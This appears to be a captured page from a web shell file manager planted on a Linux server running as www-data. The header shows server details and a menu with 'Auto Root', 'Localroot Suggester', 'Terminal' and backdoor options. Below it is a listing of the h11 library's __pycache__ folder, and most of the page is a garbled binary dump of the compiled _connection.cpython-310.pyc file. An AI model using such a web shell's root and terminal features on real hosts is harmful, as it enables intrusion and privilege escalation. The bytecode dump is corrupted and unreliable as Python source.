Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
h11 /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.cpython-310.pyc
968
B
-rw-r--r--
2024-08-30 00:22
_abnf.cpython-310.pyc
1.18
KB
-rw-r--r--
2024-08-30 00:22
_connection.cpython-310.pyc
15.41
KB
-rw-r--r--
2024-08-30 00:22
_events.cpython-310.pyc
9.88
KB
-rw-r--r--
2024-08-30 00:22
_headers.cpython-310.pyc
5.4
KB
-rw-r--r--
2024-08-30 00:22
_readers.cpython-310.pyc
6.04
KB
-rw-r--r--
2024-08-30 00:22
_receivebuffer.cpython-310.pyc
3.08
KB
-rw-r--r--
2024-08-30 00:22
_state.cpython-310.pyc
5.34
KB
-rw-r--r--
2024-08-30 00:22
_util.cpython-310.pyc
3.73
KB
-rw-r--r--
2024-08-30 00:22
_version.cpython-310.pyc
161
B
-rw-r--r--
2024-08-30 00:22
_writers.cpython-310.pyc
4.36
KB
-rw-r--r--
2024-08-30 00:22
Save
Rename
o xu�apg � @ sj d dl mZmZmZmZmZmZmZmZm Z ddl m Z m Z m Z mZmZmZmZ ddlmZmZmZ ddlmZmZ ddlmZ ddlm Z m Z m Z m Z m Z m!Z!m"Z"m#Z#m$Z$m%Z% ddl&m'Z'm(Z(m)Z) dd l*m+Z+m,Z, g d �Z-G d d � d e)e)d �Z.G dd� de)e)d �Z/dZ0de eef de1fdd�Z2de3de eef dee4e ed ee5 f f fdd�Z6G dd� d�Z7dS ) � ) �Any�Callable�cast�Dict�List�Optional�Tuple�Type�Union� )�ConnectionClosed�Data� EndOfMessage�Event�InformationalResponse�Request�Response)�get_comma_header�has_expect_100_continue�set_comma_header)�READERS� ReadersType)� ReceiveBuffer) �_SWITCH_CONNECT�_SWITCH_UPGRADE�CLIENT�ConnectionState�DONE�ERROR�MIGHT_SWITCH_PROTOCOL� SEND_BODY�SERVER�SWITCHED_PROTOCOL)�LocalProtocolError�RemoteProtocolError�Sentinel)�WRITERS� WritersType)� Connection� NEED_DATA�PAUSEDc @ � e Zd ZdS )r) N��__name__� __module__� __qualname__� r0 r0 �1/usr/lib/python3/dist-packages/h11/_connection.pyr) ( � r) )� metaclassc @ r+ )r* Nr, r0 r0 r0 r1 r* , r2 r* i @ �event�returnc C s0 t | jd�}d|v r dS t| dd�dk rdS dS )N� connection� closeF� http_version� 1.1T)r �headers�getattr)r4 � connectionr0 r0 r1 � _keep_aliveH s r= �request_methodr0 c C s� t |�ttfv s J �t |�tu r4|jdv s+| dks+| dkr-d|j kr)dk r-dS ndS |jdks4J �t|jd�}|rE|dgksCJ �d S t|jd �}|rVd t|d �ffS t |�tu r^dS d S )N)�� i0 � HEAD� CONNECT�� �, )�content-length)r � transfer-encoding� chunked)�chunkedr0 � content-lengthrD r )�http/1.0r0 )�typer r � status_coder r: �int)r> r4 �transfer_encodings�content_lengthsr0 r0 r1 � _body_framingQ s& � rO c @ s� e Zd ZdZefdee deddfdd�Ze de ee ee f fdd ��Z e dee fd d ��Z e dee fd d ��Z e defdd��Zd3dd�Zdee ddfdd�Zdedeee fdd�Zdee deddfdd�Zdee dee deeef deedef fd d �Z d4d e ee ee f dee ddfd d �Z e de e ef fd!d"��Z d#e ddfd$d%�Z deeee f fd&d'�Z!deeee f fd(d)�Z"dedee fd*d+�Z#dedee$e fd,d-�Z%d3d.d/�Z&d0e'de'fd1d2�Z(dS )5r( aB An object encapsulating the state of an HTTP connection. Args: our_role: If you're implementing a client, pass :data:`h11.CLIENT`. If you're implementing a server, pass :data:`h11.SERVER`. max_incomplete_event_size (int): The maximum number of bytes we're willing to buffer of an incomplete event. In practice this mostly sets a limit on the maximum size of the request/response line + headers. If this is exceeded, then :meth:`next_event` will raise :exc:`RemoteProtocolError`. �our_role�max_incomplete_event_sizer5 Nc C s� || _ |ttfvrtd�|���|| _| |tu r t| _nt| _t� | _| � | jd t �| _ | � | jd t �| _ t� | _d| _d | _d | _d| _d S )Nz#expected CLIENT or SERVER, not {!r}F)�_max_incomplete_event_sizer r! � ValueError�formatrP � their_roler �_cstate�_get_io_objectr& �_writerr �_readerr �_receive_buffer�_receive_buffer_closed�their_http_version�_request_method�"client_is_waiting_for_100_continue)�selfrP rQ r0 r0 r1 �__init__� s zConnection.__init__c C s t | jj�S )z�A dictionary like:: {CLIENT: <client state>, SERVER: <server state>} See :ref:`state-machine` for details. )�dictrV �states�r_ r0 r0 r1 rb � s zConnection.statesc C � | j j| j S )zjThe current state of whichever role we are playing. See :ref:`state-machine` for details. )rV rb rP rc r0 r0 r1 � our_state� � zConnection.our_statec C rd )znThe current state of whichever role we are NOT playing. See :ref:`state-machine` for details. )rV rb rU rc r0 r0 r1 � their_state� rf zConnection.their_statec C s | j tu o| jS �N)rU r r^ rc r0 r0 r1 �!they_are_waiting_for_100_continue� s z,Connection.they_are_waiting_for_100_continuec C s4 t | jj�}| j�� d| _| jrJ �| �|� dS )a� Attempt to reset our connection state for a new request/response cycle. If both client and server are in :data:`DONE` state, then resets them both to :data:`IDLE` state in preparation for a new request/response cycle on this same connection. Otherwise, raises a :exc:`LocalProtocolError`. See :ref:`keepalive-and-pipelining`. N)ra rV rb �start_next_cycler] r^ �_respond_to_state_changes)r_ � old_statesr0 r0 r1 rj � s zConnection.start_next_cycle�rolec C s& t | jj�}| j�|� | �|� d S rh )ra rV rb � process_errorrk )r_ rm rl r0 r0 r1 �_process_error� s zConnection._process_errorr4 c C sT t |�tu r |jdkr tS t |�tu r(t| jjv r(d|j kr%dk r(tS d S d S )N�e rB rC )rJ r rK r r r rV �pending_switch_proposals)r_ r4 r0 r0 r1 �_server_switch_event� s �z Connection._server_switch_eventc C sR t | jj�}|tu r't|�tu r'|jdkr| j�t� t |j d�r'| j�t � d }|t u r2| � |�}| j�|t|�|� t|�tu rF|j| _|| ju rbt|�tttfv rbtttttf |�}|j| _t|�ttfv rztttttf |��sz| j�� t|�tu r�t|�r�d| _t|�ttfv r�d| _|tu r�t|�tt fv r�d| _| � ||� d S )NrA s upgradeTF) ra rV rb r rJ r �method� process_client_switch_proposalr r r: r r! rr � process_eventr] rU r r r r r8 r\ r= �process_keep_alive_disabledr r^ r r rk )r_ rm r4 rl �server_switch_eventr0 r0 r1 �_process_event s< �� zConnection._process_event�io_dict.c C sV | j j| }|tu r$ttt| j�tttt f |��\}}|t | |� S |� ||f�S rh ) rV rb r rO r �bytesr] r r r �get)r_ rm r4 ry �state� framing_type�argsr0 r0 r1 rW 4 s �zConnection._get_io_objectrl c C sL | j || j kr| �| j|t�| _| j|| j kr$| �| j|t�| _d S d S rh ) re rP rW r& rX rg rU r rY )r_ rl r4 r0 r0 r1 rk J s �z$Connection._respond_to_state_changesc C s t | j�| jfS )ab Data that has been received, but not yet processed, represented as a tuple with two elements, where the first is a byte-string containing the unprocessed data itself, and the second is a bool that is True if the receive connection was closed. See :ref:`switching-protocols` for discussion of why you'd want this. )rz rZ r[ rc r0 r0 r1 � trailing_dataU s zConnection.trailing_data�datac C s. |r| j r td��| j|7 _dS d| _ dS )a� Add data to our internal receive buffer. This does not actually do any processing on the data, just stores it. To trigger processing, you have to call :meth:`next_event`. Args: data (:term:`bytes-like object`): The new data that was just received. Special case: If *data* is an empty byte-string like ``b""``, then this indicates that the remote side has closed the connection (end of file). Normally this is convenient, because standard Python APIs like :meth:`file.read` or :meth:`socket.recv` use ``b""`` to indicate end-of-file, while other failures to read are indicated using other mechanisms like raising :exc:`TimeoutError`. When using such an API you can just blindly pass through whatever you get from ``read`` to :meth:`receive_data`, and everything will work. But, if you have an API where reading an empty string is a valid non-EOF condition, then you need to be aware of this and make sure to check for such strings and avoid passing them to :meth:`receive_data`. Returns: Nothing, but after calling this you should call :meth:`next_event` to parse the newly received data. Raises: RuntimeError: Raised if you pass an empty *data*, indicating EOF, and then pass a non-empty *data*, indicating more data that somehow arrived after the EOF. (Calling ``receive_data(b"")`` multiple times is fine, and equivalent to calling it once.) z(received close, then received more data?TN)r[ � RuntimeErrorrZ )r_ r� r0 r0 r1 � receive_data` s ' zConnection.receive_datac C s� | j }|tu r | jr tS |tu s|tu rtS | jd us J �| �| j�}|d u r<| js<| jr<t| jd�r9| j� � }nt � }|d u rBt }|S )N�read_eof) rg r rZ r* r r" rY r[ �hasattrr� r r) )r_ r| r4 r0 r0 r1 �_extract_next_receive_event� s z&Connection._extract_next_receive_eventc C s� | j tu r td��z0| �� }|ttfvr | �| jtt |�� |tu r7t | j �| j kr0tddd��| j r7td��|W S ty] } z| �| j� t|t�rQ|�� n� W Y d}~dS d}~ww )aF Parse the next event out of our receive buffer, update our internal state, and return it. This is a mutating operation -- think of it like calling :func:`next` on an iterator. Returns: : One of three things: 1) An event object -- see :ref:`events`. 2) The special constant :data:`NEED_DATA`, which indicates that you need to read more data from your socket and pass it to :meth:`receive_data` before this method will be able to return any more events. 3) The special constant :data:`PAUSED`, which indicates that we are not in a state where we can process incoming data (usually because the peer has finished their part of the current request/response cycle, and you have not yet called :meth:`start_next_cycle`). See :ref:`flow-control` for details. Raises: RemoteProtocolError: The peer has misbehaved. You should close the connection (possibly after sending some kind of 4xx response). Once this method returns :class:`ConnectionClosed` once, then all subsequent calls will also return :class:`ConnectionClosed`. If this method raises any exception besides :exc:`RemoteProtocolError` then that's a bug -- if it happens please file a bug report! If this method raises any exception then it also sets :attr:`Connection.their_state` to :data:`ERROR` -- see :ref:`error-handling` for discussion. z+Can't receive data when peer state is ERRORzReceive buffer too longi� )�error_status_hintz#peer unexpectedly closed connectionN)rg r r$ r� r) r* rx rU r r �lenrZ rR r[ � BaseExceptionro � isinstancer# �!_reraise_as_remote_protocol_error)r_ r4 �excr0 r0 r1 � next_event� s, ( � ���zConnection.next_eventc C s | � |�}|du r dS d�|�S )a� Convert a high-level event into bytes that can be sent to the peer, while updating our internal state machine. Args: event: The :ref:`event <events>` to send. Returns: If ``type(event) is ConnectionClosed``, then returns ``None``. Otherwise, returns a :term:`bytes-like object`. Raises: LocalProtocolError: Sending this event at this time would violate our understanding of the HTTP/1.1 protocol. If this method raises any exception then it also sets :attr:`Connection.our_state` to :data:`ERROR` -- see :ref:`error-handling` for discussion. N� )�send_with_data_passthrough�join)r_ r4 � data_listr0 r0 r1 �send� s zConnection.sendc C s� | j tu r td��z/t|�tu r| �|�}| j}| �| j|� t|�t u r(W dS |dus.J �g }|||j � |W S | � | j� � )ah Identical to :meth:`send`, except that in situations where :meth:`send` returns a single :term:`bytes-like object`, this instead returns a list of them -- and when sending a :class:`Data` event, this list is guaranteed to contain the exact object you passed in as :attr:`Data.data`. See :ref:`sendfile` for discussion. z'Can't send data when our state is ERRORN) re r r# rJ r �&_clean_up_response_headers_for_sendingrX rx rP r �appendro )r_ r4 �writerr� r0 r0 r1 r� s z%Connection.send_with_data_passthroughc C s | � | j� dS )z�Notify the state machine that we failed to send the data it gave us. This causes :attr:`Connection.our_state` to immediately become :data:`ERROR` -- see :ref:`error-handling` for discussion. N)ro rP rc r0 r0 r1 � send_failed% s zConnection.send_failed�responsec C s� t |�tu sJ �|j}d}tt| j�}|dkrd}t||�\}}|dv rIt|dg �}| jd u s4| jdk rBt|dg �}| jdkrAd}nt|dd g�}| j j rO|rht t |d ��}|� d � |�d � t|d t|��}t||j|j|jd �S )NFr@ s GET)rG rI rH r9 rE TrF r6 s keep-aliver7 )r: rK r8 �reason)rJ r r: r rz r] rO r r\ rV � keep_alive�setr �discard�add�sortedrK r8 r� )r_ r� r: � need_close�method_for_choosing_headersr} �_r< r0 r0 r1 r� > s4 � �z1Connection._clean_up_response_headers_for_sending)r5 Nrh ))r- r. r/ �__doc__�!DEFAULT_MAX_INCOMPLETE_EVENT_SIZEr r% rL r` �propertyr rb re rg �boolri rj ro r r rr rx r r r' r r rW rk r rz r r� r� r� r� r r� r� r r� r0 r0 r0 r1 r( � s` ��� �' 0�� � ���� � .A !r( N)8�typingr r r r r r r r r �_eventsr r r r r r r �_headersr r r �_readersr r �_receivebufferr �_stater r r r r r r r r! r" �_utilr# r$ r% �_writersr& r' �__all__r) r* r� r� r= rz �strrL rO r( r0 r0 r0 r1 �<module> s* ,$ 0 � � �: